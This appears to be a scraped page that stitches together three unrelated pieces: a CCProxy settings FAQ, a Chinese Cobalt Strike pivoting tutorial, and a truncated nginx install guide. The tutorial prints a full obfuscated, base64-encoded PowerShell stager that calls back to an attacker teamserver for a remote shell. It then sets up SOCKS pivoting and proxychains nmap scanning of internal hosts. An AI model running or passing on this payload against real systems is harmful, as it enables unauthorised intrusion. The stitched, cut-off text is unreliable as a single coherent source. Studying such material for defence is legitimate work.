
    怎样实现验证失败时显示指定的htm文件?

     

    CCProxy.ini里的

    AuthorityFailed里输入htm文件的绝对地址。例如:AuthorityFailed=f:/1.htm,表示显示F盘根目录下的1.htm文件。

     

    怎样实现帐号排序?

     

    "帐号管理" 点击"用户名""IP地址""MAC地址""连接数"任一字段名即可按所选字段名排序,连续点击则分别按"降序""升序"分别排列。如图。确定后,将按照排序结果保存帐号。

     

    怎样实现远程拨号?

     

    1) 在服务器上手工建立一个拨号连接,并且测试一下这个拨号连接是否有效。

    2) "设置"-> 选择"远程拨号"

    3) "设置"->"高级"->"拨号":在"拨号列表"中选择 1)中建立的拨号连接。在"拨号用户名""拨号密码"里填上正确的上网帐号信息。

    4) 在帐号管理中编辑或新增用户,并选择允许该用户"远程拨号"

    5) 客户端的浏览器首先要设置好HTTP代理服务。然后在浏览器中输入 http://ccproxy.connect 就可以拨号了,如果客户端使用 http://ccproxy.connect.电话号码.用户名.密码,则用指定的电话号码和用户帐号信息拨号。

    6) 断开拨号网络连接则在浏览器中输入 http://ccproxy.disconnect

     

    怎样实现通过客户端使服务器自动拨号?

     

    1)"设置"-> 选择"远程拨号"

    2)"设置"->"高级"->"拨号"-> 选择"允许自动拨号",然后在相应代理协议前打勾。

    3)"帐号"-> 编辑或新建帐号 -> 选择"远程拨号"

    这样,只要被允许的客户端使用被允许的协议(HTTP/FTP/TELNET等)就可以实现服务器自动拨号功能。

     

    怎样实现隐藏任务栏图标 ?

    编辑ccproxy.ini,在 [System] 下增加一行Allhide=1。去掉这一行则显示图标。

    或:"设置"->"高级"->"其他":选择"隐藏所有"

    若要重新显示主界面,只需再运行一次CCProxy即可(CCProxy自动判断,不会在同一个目录下启动多个进程)。

     

    怎样使用热键激活界面?

     

    编辑CCProxy目录下的CCProxy.ini,把EnableHotKey=0改为1,然后保存文件并重启CCProxy软件。以后当软件隐藏后,只要按下"CTRL+ALT+C",界面会重新显示。详细设置>>

     

    怎样实现管理员密码控制?

     

    "设置"->"高级"->"其他":选择"密码保护",然后在相应的密码框中输入密码。这样每次修改设置、增加或编辑帐号、退出程序都必须输入正确密码方可。

    若需要每次启动时必须输入密码则再选择"启动时需要密码"。建议一般情况下不选择。

     

    怎样让客户端显示广告条?

     

    这是一个相当有趣的功能,最初由上海复旦大学Hyne提出。

    默认状态是关闭。对应CCProxy.ini里的AddMessageAddMessage=1,表示开放广告条功能。同时在CCProxy运行目录下写一个addmessage.htm文件(小于4096字节),当然这个文件的编写很要技巧。

    提供两个非常经典的例子:ads1.zip(Hyne提供) ads2.zip(testa提供) 欢迎提供更多好的例子。

    另外,可以在界面中按住shift双击0/0,在弹出的对话框中选择,如图。

     

    怎样往客户端发送信息?

     

    客户端如果是Win98,要求已经运行了windows目录下的WINPOPUP.EXE。如果是Win2000/NT,则系统已经自带了消息接收功能。选中需要发信息的帐号点击右键,在第一个编辑框里输入接收者的机器名,第二个编辑框里输入要发送的文字,点击确定就可以发送信息到客户端了。如果上面的对话框里输入的是"*"号,可以发送到局域网里的任何一台机器。

     

    怎样实时观测客户端访问内容(网站)以及客户端连接数和流量?

     

    双击主界面绿色网格即可,并且双击左上角的"当前连接信息”左边那个图标,可以切换观察状态。

     

    怎样实现流量统计和计费?

     

    1) CCProxy"设置""高级""日志""运行流量统计"前面打勾,并设定"流量统计间隔时间"(默认为10分钟),这样系统会在log文件夹中生成一个文件(data20030613.txt),并每隔10分钟系统在该文件中写入一次流量统计数据;

    2) 点击"流量统计",即可打开流量统计文件,观察到流量记录(前面的为流进数据,后面的为流出数据);

    3) 下载CCReport插件,可以根据统计出的流量,计算出每用户的使用费用。

     

    怎样实现端口映射?

     

    "设置"页面点击"端口映射"后面的E按钮,进行相应的设置即可:

     

    怎样设置二级代理?

     

    "设置"->"高级"->"二级代理":选择"启用二级代理",在代理地址中输入上级代理服务器IP或计算机名称,选择代理协议HTTP/HTTPS/SOCKS,再输入对应的端口。若需要验证密码,则选择"需要验证",在"用户名""密码"框中分别输入指定信息。需要注意的是:

    1) 若上级提供了SOCKS5服务,则可以为下级提供包括HTTP/FTP/GOPHER/SOCKS/RTSP/MMS/TELNET等协议在内的几乎任何服务,本程序可以全部自动转换;若上级提供了HTTPS服务,则绝大部分服务也可为下级提供,除了QQ/PPUDP协议;若上级只提供了HTTP服务,则下级只能使用HTTP/FTP/GOPHER/SOCKS/TELNET等一般协议,RTSP/MMS等协议无法转换。 2) 6.0版支持不同的协议可以设置不同的二级代理或者不使用二级代理,即每一个协议都可以使用不同的上级代理和不同的协议或者部分协议使用上级代理,而部分协议可以不使用上级代理,也可以全部使用同一个上级代理和协议。

     

    怎样同时运行多个ccproxy进程?

     

    编辑ccproxy.ini,修改EnableMultiRun=1即可,但须安装在不同目录,使用不同端口。

     

    怎样访问带域验证的网页?

     

    可以只设置socks代理(如图)来实现访问,CCProxy要开放DNS服务和SOCKS4服务,客户端的DNS里要设置服务器的IP地址。

     

    怎样结合杀毒软件检查所有通过代理发送和接收的邮件病毒?

     

    编辑ccproxy.ini,修改AntiVirusGate=1表示启用邮件杀毒。目前我们测试过的软件有瑞星2003版和Norton 2003版,只要服务器上安装了这样的杀毒软件,就可以实现代理服务器邮件杀毒功能。

     

    如何控制流媒体视频带宽?

     

    编辑ccproxy.ini,修改[MMS]项:EnableRecord=1

     

    如何屏蔽端口和屏蔽IP?

     

    编辑ccproxy.ini,修改[DestDisable]项:

    PortDisabled=1表示启用端口屏蔽,Port=25;110;80表示屏蔽这些端口;

    IPDisabled=1表示启用IP屏蔽,IP=0.0.0.0-202.0.0.0表示屏蔽这个范围内的IP

     

    用户通过web方式发送邮件时如何禁止发送附件?

     

    "内容过滤"里加入";; filename="(注意: 在分号后面有一空格,如果有其余过滤的内容如chat等必须放在第一位,如图)

     

    怎样在客户端Ping互联网地址?

     

    1)首先确认CCProxyTelnet代理已经打开。

    2)假设代理服务器地址是192.168.0.1,在客户端上输入命令行 telnet 192.168.0.1,然后回车。

    3)在提示符CCProxy Telnet>后,输入你要ping的地址,如ping sina.com.cn ,然后回车。

     

    在远程终端服务(Terminal Services)下运行CCProxy需要注意的事项?

     

    如果在远程终端服务(Terminal Services)下运行CCProxy,而且以NT服务方式运行,需要设置CCProxy.ini里的一个参数:TerminalServices=1。显示CCProxy界面只需要再次运行CCProxy就可以了。

     

    怎样在代理服务器CCProxy里巧妙的利用Auto Proxy功能?

     

    在代理服务器CCProxy里巧妙的利用Auto Proxy功能,请看详细设置

     

    C源代码:客户端怎样通过proxy进行连接,支持https, socks5代理?

     

    客户端通过proxy进行连接,支持https, socks5代理的C源代码请看

     

    如何突破屏蔽代理访问的网站?

     

    有些网站屏蔽代理访问,可以通过编辑CCProxy目录下的CCProxy.ini来突破屏蔽,EnableProxyConnection=0改为1,然后保存文件并重启CCProxy软件。详细设置>>

     

    如何绑定服务器IP地址?

     

    编辑CCProxy目录下CCProxy.ini文件,ServerBindIP=0.0.0.0改为服务器接入线路的IP地址,然后保存文件并重启CCP roxy软件。当服务器有多条线路接入时,管理员可以通过此功能合理分配带宽资源。详细设置>>

     

    如何让目标网站无法得知你是从哪个网站进入该网站?

     

    编辑CCProxy目录下CCProxy.ini文件,EnableReferer=0改为1,然后保存文件并重启CCProxy软件。此功能便于保密,让目标网站无法得知你是从哪个网站进入该网站的。详细设置>>

     

    如何关闭gzip,加强广告条功能的应用范围?

     

    编辑CCProxy目录下CCProxy.ini文件,EnableGzip的值改为0,然后保存文件并重启CCProxy软件,此功能可以大大加强广告条功能的应用范围。


    展开全文
  • 内网渗透 - 代理篇(CobaltStrike代理)

    千次阅读 2020-10-20 09:05:07
    声明:贝塔安全实验室公众号文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章...

    希望你每天醒来都是阳光的,不会因为别人的几句话、几个表情和几个举止,影响自己的心情,好好生活,总会遇见美好的事。。。

    ----  网易云热评

    声明:贝塔安全实验室公众号文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!

     

    本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:proxychains,nmap等。攻击的拓扑结构如下图所示。

     

     

     

    01

    反弹Shell 

     

    首先启动CobaltStrike的服务端,并执行命令如下所示:

    >>> ./teamserver 192.168.43.137 xxxxxx

    启动Cobaltstrike的客户端,并填写运行服务端的ip地址,端口号,用户名,及在服务端设置的密码口令。

     

     

    进入CobaltStrike客户端控制面板以后,依次点击Attacks>Payload Generator选项,设置监听以及生成payload。

     

     

    点击Add选项后,设置监听方式及监听的端口号,输出方式选择Powershell Command。

     

     

    如下为生成的powershell形式的payload。

     

     

    将复制的payload在目标服务器主机上执行,如下所示:

    powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBhADQAKwBpAFMAaAByACsAMwBQADAAcgArAE4AQwBKAEcAbQAwAEgAOABkAGEAZQB6AFMAUQBIAEIAUgBSAEUAUgBQAEcARwBmAFQAcQBkAEUAawBwAEYAdQBSAFkARgBnAG0AZgBuAHYAMgArAEIAMgB0ADIAegAwADcAMAA3AHkAYQA2AEoAbwBRAHIAZQB5ADEAUABQAGUANgBsAFgAZwAvAGgAUgB3ADgAZwB5ADgATQBnAHoASQBmAFcANABnAEMAaQAwAFAASgBkAGkANwB1ACsAMwBrAFcAdgBnAGIASgAwAHQAWABuAGMAUQB2AC8AcgBJAE0AMQA2AEIAYQBTAEkAWQBoAHQAVABmADkAMwBjAHEAUQBNAEMAaABpAGcAOAB4AFEASwArAE8AWgAwAFkAMgByAEYARAA1AEoAaABPAEUAWgBvAFIAZwA2AGUANwB1AC8AaQA1AC8ARgBiAGsAaAAyAE0ASgBYAEYAMgBBAHIAaABxADgATwB4AEgAdgBQAEQASwBuAHYAVgBQAEcAWgA5AFgAMwBPAGMANABEAGwAdgB2AHoAeABSAHkAOQBDAEMATAByADQAcwBxAC8AMgBJAFcAYgBEAEUARABvAGIAMgA0AEoAaABzAFUAVAA5AGsAMQByAHUASQBZAEsAUAA0ADgAMABCAEcAcABqADYAbQAzAHAANAByAGYAWgB0AGIAdwBQAHMAcQAxAGoAYQBBADgAYQBlAG4ASQBKADEAegBlAHkAYgA3AEIAawBnAE8AMABGAFYAOAAyADAATABGAHcAdAAvAC8AVgBVAG8AUABUAC8AVwBYAHEAcAA4AEUAQQBFADcATABCAGEAMABOAE0AVABRAHEAWgBxADIAWABTAGgAUgBQADAAcQBaAHcAMQBuAHEAdwAyAEoAaABaAEIAbgBJAEMANwAwAHQAcgBpADQAdAB0ADgANQBVADUAegBsADYASgBRAGMALwB1AG0AQQB2AGwASwA0AG4AMgAvAG0AQQBuAE8AUAByAFEAMgBaAFcATAB6AHIARgBBAGwAbQBxAGgAQgB2ADIAdwBtAEcAaABRAGoAMQBuAC8AcAA1AGYAWABxAGcALwAzADkAQgBNAEkAeABkAGIARABxAHkASwBMAG8AYgBJADgAegBXAEkAWQBzAHUAQQBZAFgAVQBBAFgATgBPAEcAVQA3AGcAbABhAG8AVwBRAHgATQB6AGQARgBVAG8ARQBCAEkASQA0AFEAaQA1ADEAdwAwAEwAMABZAHUAOABJAGkAdwA5AHUAWgBOAHMAVgBZAHYAZgA1AGQAKwAyACsARgBCAFYANAB1AHAASAA3AHUAMAByAEYAagAwAHAARQBTAHMAVwBvAFYATABuAG0AeABPAC8AUQBNAGMAcgB6ADUAbQBLAE8ASABPAGMAWAA5AEIAKwBTAHEAMABSACsAdgB5AFIAWQA2AGYANwBIAFoANgBsAHEAUQBoAHYAdQBBAEkAYQB2AG0AUABEADcASQBWAGYAdgA3ACsANgBlADgAeQBVAGsANQB5AG0AcQBYAG0AagBsAGUAdAA4AHAAdQBrAEsATgBDAEEAaQBBAFAAWgBSAG0ANABaAHkAaABDAEoAWgBlADMAdQBOAHoAYwBYAHYAVABEAEMAdABmAEcAcQByAGQAdABLADQANgBsAC8AQgBjAGMASAB5AG4AbgBoAGUAZQBaAGIANwBjADMANQBYAHUAcgA5AG0AVAB2AFgALwBkAFIASgBaAHQAUQBwAFIAOQAvADcAbwBhAE8ATABpADEAWABNAGkAbABMAG4AQQBzADQANQBiAHcAeABjADkAaQBCAHIAYwAyAHoAUABtAG8AMwBzAFEAVQBnAHIATgBZAHUASAA2AEEASgBuAGQAbABwADUAQQBSACsAdgB5AHIARwB1ADkAWQArAEUAMgAzAGUAdwBIAEgARwBpAFQAdQBJAFUARgBGAFUAcQBMADAATQA1AGgATABEAEkAcwBGADAAUgAxAEIAaAAvAEIAMwAyAFoATQAwAGYAZABpAFMATQBvAE0AMwA2AFcAdABwAHAAVABmAHYAMgBUADcATAA1AFoANABOAHcAcgBCAEMAcQBSAEcAcABjADYATgBDAGEAUgBEAFkAMABLAHgAUQByAEIAdABhADEAMAA5AHMAaABMADEAOABXAFgAaQBIAE8ANABwAHMAYgBCAGsAZwB4AEQAZAB6AEwANgBWAFAASwBMADIANgA3AG4AawB1AHEAWgBqAEkASQBOAEUAbABOAE0AdwAwAEgAeABvAFcAcwBEAE4AVwBLAHQAVABBAE0AbQBFADMAMQBhAHoAZABEAFUATABoAFUAMAA1ADYAdwBMAFoASgB5AFIARgBMAE0AWQBrAEoAZQBaAE4AeABvAGUARQBzAFoANQBCAFoAKwBmAGYAOABLAEYAVQAxAGkARQBYAEgAdAA2AEYARABwAFAATQB1AEoATgBoAGcAUgAzAHIATwB0AGEATAB5AGQAQQBNADcAYQBCAGIAKwBBACsAeABiAG4AVgB5AEsASQB1AFAAcQBSAHQASQBIADAAQwBRAEIATgBOAHYARABGAFcAcABoAEkAVQB6ADYAVwBxAEgAeQBTACsATAA5AGIALwBCACsAYgBqAEUALwB3AGUAdwBoAGUAQQAxAGsATQBTADkARQBjAFUAcwBhACsAcQBVAEwARQBIAFoAQwA2ADAAeQBhAE0AUQB5AG8AcAAxAEoAVwBnAHMALwBkAEYARwBlADEAbABKAHMAeABzAHUAdgBtACsAeAB2AFIATwBhADAASQBFAHkAVQBCAGUAVQA0AFgAaABMAEQAVgAwAFAASQBlAFYAeQB6AFUAbQBXAGkAWABkAEYAUwA1AGwAWQA0AE8ASQBpAE8AbAB1AHEAcwBrAGgAcgB0AEEAZgBDAHoAMABRAFcAdQBmAFQASgBqAEkATQAyAFkAWQBCAFEATwBlAEkALwB1AHAAdwBZAFMAaAAzAGIAZgA5AHoAVgA0AE8AUQBDAEkAZgBEAGsAbQBuAHQAMABwADUAbABXAFYAawBxADIAVQAxAEwAVABHAFMAdQAyAGQAWABzAEEAeQBIADYARQAzAEcAbgBqADcAdABJAEQARgBXAEIATQA4AE8AMgA4AE8AZQBzAEoAdwBEADYAeABEAGsAdgBpAEsAbgBVAFQATgA1AGsATQBwAG4AbwA3AFYASABZAHcAWgA2ACsAawBrAEoAeABGAGgAbAB6AFcAVgBzAHQASgB5AGgASgA3AFEAdwAwAFYAMQBFAGYATwBRAGoAUABoAHEAcgBlAGkAUQBIAHMAaQBOAGEAagBYADMATQBMAGIAQQBVAGkALwAyAG4AdwBaAEQAUgB3AFoATwA5AGEAYwBOAGMAMwB3AHcAeQBYADMAcQB3AGkAMABHADIAUAAzAGUAeQB2AFIAWAAwAEkATQByADgANgBJAFIAOQBXAEsAKwAxADQARgBKAHEANgA2ADUAdgB3AFcAVwAwAE8ANQA4AFUAeQB6AEQAUABIAEcAUQBrADgAagA3AHkAUgBvAFkAZgAxAHAAVwB6AHMAVAAwAGUARAA4AEMAdgB6AGIAVgBqAGIAVABpAGIAcgAxAGUARQBtAHgAbwBJAGsATABCAHAASQBVADMAMwA3AFgAagBCAHoAbwA5ADEAZABZADEAeQBiAEwARgBBAE0AQwBvAFoAVABzAHQAZwBwAEwAUAB1AEgAOQBmAG0ASQB1AEQAcgA2AGsAYQBjAEQAMgB3AFUAUgBKAEwAbABOAE0ATwB1AG0ARgA1AGwASABDAG4AVgB0AEMANQA1AEQAdABmAG0ATQBIAGgAcQBtAG0AYwBtAEgAZgBnAE4AMABFAEkAVwA0AFQAUQBoAGYAdABvAFoAdgA4AFkAOABQAEkAagBMAHMAVwB1AHMAQgBNAHMAeAA5AGcAdwAzAFAAUgBnAGQASgB3AHEAYQBCAEgAZABqAG8ARQBqAEQAVgBZAEkAQwBMAEsARQBnAHQAbwBQAG0AVwBEAFUAeQAzAEwAbABlAEoAagA5AHAAMgBPAE0AYQBrAFEAOAAyAEIAMwBrAEkAeQBxAEkAMQBPAG8ARABPAE8AWgBTAEgATQBNADcAVwBxAGMAbwBOAGsAMQBRADgAaQBFADkAUgBOADkAUABqACsAdABKAE8AbQA1ADgATwBOAEUAKwBmADUATgA1AHUAYQA0AFMAUgBJAEkAdwA5ACsAVgBzAFQAUwBMAHcAeQBtAHQARQBLAHEANQBjAFYAdgBXAE0AUABEAEoAUwBlAFcASAAyAHEAbQB5AEoAcwAwAGsAbwBYAGEAZQBPAHcAbgB0AEMAZQB0ADkAUgBYAGQAbwBpAE4AdwBXAFEARwBKAHUAWQBaAE0ARwBQAFoANgA4AGoAVwBXAHMARgBEAGYAbABYAGYAMQBkAEIAUwBsAGoAUQByAEcASwBjAEsATQArAGYAWABVADgANgBSACsATwBtAHgAdAB1AHAAUABsAEcAZwBtADIATQBNAFoAMwBlAGwAeABYAFYAMwBoAFQAeQBOADUAdwBpAGYAagBPAFMAMgB0AHQASwBPAGcAVAB2AGMANwBiAHUATgAyAGcALwBWAHUAcABQAEUAbgBlAHQAWgBuAEYAWgByAEUAWgBEAEEAVABwAGgATwBXAHEAZABYAFoAWgBLADcAdwAwAHgAMQBuADkAaABOAGEAbQBCAG8ANgBXAHoAZQBuADIAdABIAHMAegB4AGIARwBTAEoAagBrADgAdgB0AE4AMwAzAGYANgArADcAMgB6AFcAYQAxAFAAUABhAHYAaABpADYAZgBwAFMAZgBLADcAdgBMAGcATABvADIANQA1AHQAMQBhADQAaABjAEwAWgBxADQAawByADcASgBsAEQAMwBEADYAcABtAHEAZAAyAE8ATgBSAFMAegAvAFoAeAByAFoAWgBwAHgAdQAxAGcANgBhAEIATgBsAFQATABmAFYAagB3AG0ATwBTAFAAdgBaAEQAYQBDAHQASgA3AE0AaABtAGMAdwBTADIAYwBIAHYATwBWAEMAdABVAFkAMwBXAHoAbwB6AGwANQBVAFQAbAA5AFMANwBRAG4ATwA1AGwAWAB1AGUAMwBtAHkAZQBZADgAWQBvAG0AeAAxADIATABXADIAVABPAEoARABNAGEAZABJAG8AZgA0AHYAcgAzAGYAQQAwAEUATgBkAGUAbwB2AEoATgBWAFcAbABLADcARgBZAGEATgAvAHEAbQB2AHAAVgAyAHIAdQBRAHgATQA0AEkAVQAxAHoAcgBiAGMASABqAGkAYQBzAEoAaQBOAFAAWAA4AG0AdQBvAE8ARwB1AHUAbQB2ADIAOABtAHMASQAzAFMAcwBJADQARwB6AG0ANQB4AGwARwBsAGwAdgB6ADEAQQBqADMAYQA2AFAAcQBRAFAAdQBLAFYAeQBZAEQAcQBTADAAQwBSAEsAcwBRADYAZABTAFcAMgBoAHIAcgA2AEoANgBVAEMAYwBKAFAAeQBXAGQAWgB6AGgAeABnAGcAWABXAGsAdQBkAEwAZABwAEQATQBKAEEAUwBIAEUAMgBqAHAANABQAHUAMQAyAGUAMgBKADkAUQB1AE8AUgAyAHMAUwBhADYAUwBHAGgAMQB1AHgASABOAFcAcQAwAE8AZwA1AHoAVQA3AFgATQBPAEcAZQBVAHIAdwBtAFEASAB0ADcAcwBuAG8AUgAwAEYAQwAvAGoAVABKAHkAZgBLAFMAeQBKADQAeQBtAFMAQgBnAFMARgA2AFAATgBzAHYAZwBSAFAASQBhAHQARABpAFgAYgBXADAATwBpACsAWgBDAEMASABwAFQASgBFAFkAOQBVAHYAYwBiAEcAdABaAHgARwA2AFQANgBRAFMAUgAyAGoAVABJAG4AeAAwAHIAYgBxAEgAZABGAHcARQA5AG8AVABaAGkARwBpAHAAQwB3AEMAcgA5AG4ANQB5AEsAZABTAGsAYgBFAGYAcwA5AGIANQBkAFoARABaAFAAcABKAHMAbwBuAGkASAB4AFIANQBQAHQAcQBZAGUAbQB0ADQAcABNADIAUgA5AHAAcQA5AEwANQBmAHoAbABuAGoAMwA5AHUAbgA1AEkAWABtADUAagBaAEYAdgArADgAZABOAFEAcwB6AFYAbQAvAGQAMwBQADIANwB6AFEAZwB3ACsAZABNADIAdgBwAHIATQBSAFEATwBFAGUAMgBLAFMAYgBrAGcAbgByAGQAagA4AEsASABoAEsAdQBjADUATABxAFcAWgBsAEcAcwBmAGoANQBhAEgAKwBFAHkASQBVADIARwBYAHYASgBZAEgAeQA3AFYAVgBqAGIAOQBvAHgAcwBzAHYAdABpAHgAUAByAHoAcgBlACsAVAAyADMATgBPAGwAbgBYAG0AMAAxAFgAcAAvAFkASQBvAGwAVwA1AFgAMwB5AGIAYQBiAHYAUAB4ADUAMwByAEUAMgB4AFQANABmAHAAVwBzAHkAZgBrAHEASAA0AGkAVQBvAGIAdgBEACsAdwBwAEYASgAzAFcAYQBwAHIATgBuAGcAeQBiAFcAZgBwACsAWQBuAHUAZQBuAHgAVABkADcAbABXAHoAKwArAHcARABsAG8AeQBzADcAZAAvAFUAMgBzAEsASABJAGQAZQBEAC8ATQBRAFkALwBlAGYAMwB2ADcARwBiADgANQBUAFAAawBPADMAcwA1AG8AcwA4AHAAeQB5ADcAbABmAHcARwB4ADMAMQBUAGcANAB3ADAAQQBBAEEAPQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

     

     

    执行结束后,成功反弹目标主机的交互式shell。此处可以执行sleep 0设置与目标交互的时间周期。执行shell whoami命令,可对目标主机执行远程命令。

     

     

     

    02

    添加sock4代理 

     

    在获得了基础的交互shell以后,选择该beacon右键,依次点击Pivoting->SOCKS Server选项,并设定相应的端口号,此处系统默认的端口号为23612。

     

     

     

     

    通过火狐浏览器安装proxy扩展插件,并设定socks代理,配置完成以后,便可以成功访问到内网主机192.168.237.129的web应用,相关配置如下所示:

     

     

     

    我们也可以应用 proxychains 工具,进行内网探测,使用编辑器在文件件/etc/proxychains.conf 的最后一行加入 socks4 代理的配置信息。

     

    --- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 23612

     

    通过执行代理工具 proxychains,对内网主机 ip 地址为192.168.237.127进行端口探测。执行指令如下所示:

    >>> proxychains nmap -sT -Pn 192.168.237.129

     

     

    - 往期推荐 -

    内网代理篇(一):reGeorg+Proxifier代理

    内网代理篇(二):MSF代理

     

    禁止非法,后果自负

    欢迎关注公众号:web安全工具库

     

    展开全文
  • 原始出处 、作者信息和本声明。否则将追究法律责任。http://freeloda.blog.51cto.com/2033581/1288553 大纲 一、前言 二、环境准备 三、安装与配置Nginx 四、Nginx之反向代理 五、Ngi
     
    
    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://freeloda.blog.51cto.com/2033581/1288553

    大纲

    一、前言

    二、环境准备

    三、安装与配置Nginx

    四、Nginx之反向代理

    五、Nginx之负载均衡

    六、Nginx之页面缓存

    七、Nginx之URL重写

    八、Nginx之读写分离

    注,操作系统为 CentOS 6.4 x86_64 , Nginx 是版本是最新版的1.4.2,所以实验用到的软件请点击这里下载:http://yunpan.cn/QXIgqMmVmuZrm


    一、前言

           在前面的几篇博文中我们主要讲解了Nginx作为Web服务器知识点,主要的知识点有nginx的理论详解、nginx作为web服务器的操作讲解、nginx作为LNMP架构的讲解,不清楚的博友可以回头看看,在这一篇博客中我们主要讲解, nginx的反向代理、负载均衡、缓存、URL重写以及读写分离详解。好了,下面我们来具体说一说。

    二、环境准备

    1. 操作系统

    • CentOS 6.4 x86_64

    2.软件版本

    • Nginx 1.4.2

    3.实验拓扑

    注,实验拓扑见下文。

    4.安装yum源

    1
    2
    3
    [root@nginx ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
    [root@web1 ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
    [root@web2 ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

    5.各节点时间同步

    1
    2
    3
    [root@nginx ~]# ntpdate 202.120.2.101
    [root@web1 ~]# ntpdate 202.120.2.101
    [root@web2 ~]# ntpdate 202.120.2.101

    6.关闭防火墙与SELinux

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [root@nginx ~]# service iptables stop
    [root@nginx ~]# chkconfig iptables off 
    [root@nginx ~]# getenforce 
    Disabled
    [root@web1 ~]# service iptables stop
    [root@web1 ~]# chkconfig iptables off 
    [root@web1 ~]# getenforce 
    Disabled
    [root@web2 ~]# service iptables stop
    [root@web2 ~]# chkconfig iptables off 
    [root@web2 ~]# getenforce 
    Disabled

    三、安装Nginx

    1.解压

    1
    [root@nginx src]# tar xf nginx-1.4.2.tar.gz

    2.新建nginx用户与组

    1
    2
    3
    4
    [root@nginx src]# groupadd -g 108  -r nginx
    [root@nginx src]# useradd -u 108 -r -g 108 nginx 
    [root@nginx src]# id nginx 
    uid=108(nginx) gid=108(nginx) 组=108(nginx)

    3.准备编译配置文件

    1
    2
    [root@nginx src]# yum install -y pcre-devel openssl-devel
    [root@nginx nginx-1.4.2]# ./configure   --prefix=/usr   --sbin-path=/usr/sbin/nginx   --conf-path=/etc/nginx/nginx.conf   --error-log-path=/var/log/nginx/error.log   --http-log-path=/var/log/nginx/access.log   --pid-path=/var/run/nginx/nginx.pid    --lock-path=/var/lock/nginx.lock   --user=nginx   --group=nginx   --with-http_ssl_module   --with-http_flv_module   --with-http_stub_status_module   --with-http_gzip_static_module   --http-client-body-temp-path=/var/tmp/nginx/client/   --http-proxy-temp-path=/var/tmp/nginx/proxy/   --http-fastcgi-temp-path=/var/tmp/nginx/fcgi/   --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi   --http-scgi-temp-path=/var/tmp/nginx/scgi   --with-pcre

    4.编译并安装

    1
    [root@nginx nginx-1.4.2]# make && make install

    5.为nginx提供SysV init脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    [root@nginx ~]# cat /etc/init.d/nginx
    #!/bin/sh 
    # nginx - this script starts and stops the nginx daemon 
    # chkconfig:   - 85 15 
    # description:  Nginx is an HTTP(S) server, HTTP(S) reverse \ 
    #               proxy and IMAP/POP3 proxy server 
    # processname: nginx 
    # config:      /etc/nginx/nginx.conf 
    # config:      /etc/sysconfig/nginx 
    # pidfile:     /var/run/nginx.pid 
    # Source function library. 
    . /etc/rc.d/init.d/functions 
    # Source networking configuration. 
    . /etc/sysconfig/network 
    # Check that networking is up. 
    [ "$NETWORKING" = "no" ] && exit
    nginx="/usr/sbin/nginx" 
    prog=$(basename $nginx) 
    NGINX_CONF_FILE="/etc/nginx/nginx.conf" 
    [ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx 
    lockfile=/var/lock/subsys/nginx 
    make_dirs() { 
       # make required directories 
       user=`nginx -V 2>&1 | grep "configure arguments:" | sed 's/[^*]*--user=\([^ ]*\).*/\1/g' -` 
       options=`$nginx -V 2>&1 | grep 'configure arguments:'
       for opt in $options; do 
           if [ `echo $opt | grep '.*-temp-path'` ]; then 
               value=`echo $opt | cut -d "=" -f 2` 
               if [ ! -d "$value" ]; then 
                   # echo "creating" $value 
                   mkdir -p $value && chown -R $user $value 
               fi 
           fi 
       done 
    start() { 
        [ -x $nginx ] || exit
        [ -f $NGINX_CONF_FILE ] || exit
        make_dirs 
        echo -n $"Starting $prog: " 
        daemon $nginx -c $NGINX_CONF_FILE 
        retval=$? 
        echo 
        [ $retval -eq 0 ] && touch $lockfile 
        return $retval 
    stop() { 
        echo -n $"Stopping $prog: " 
        killproc $prog -QUIT 
        retval=$? 
        echo 
        [ $retval -eq 0 ] && rm -f $lockfile 
        return $retval 
    restart() { 
        configtest || return $? 
        stop 
        sleep
        start 
    reload() { 
        configtest || return $? 
        echo -n $"Reloading $prog: " 
        killproc $nginx -HUP 
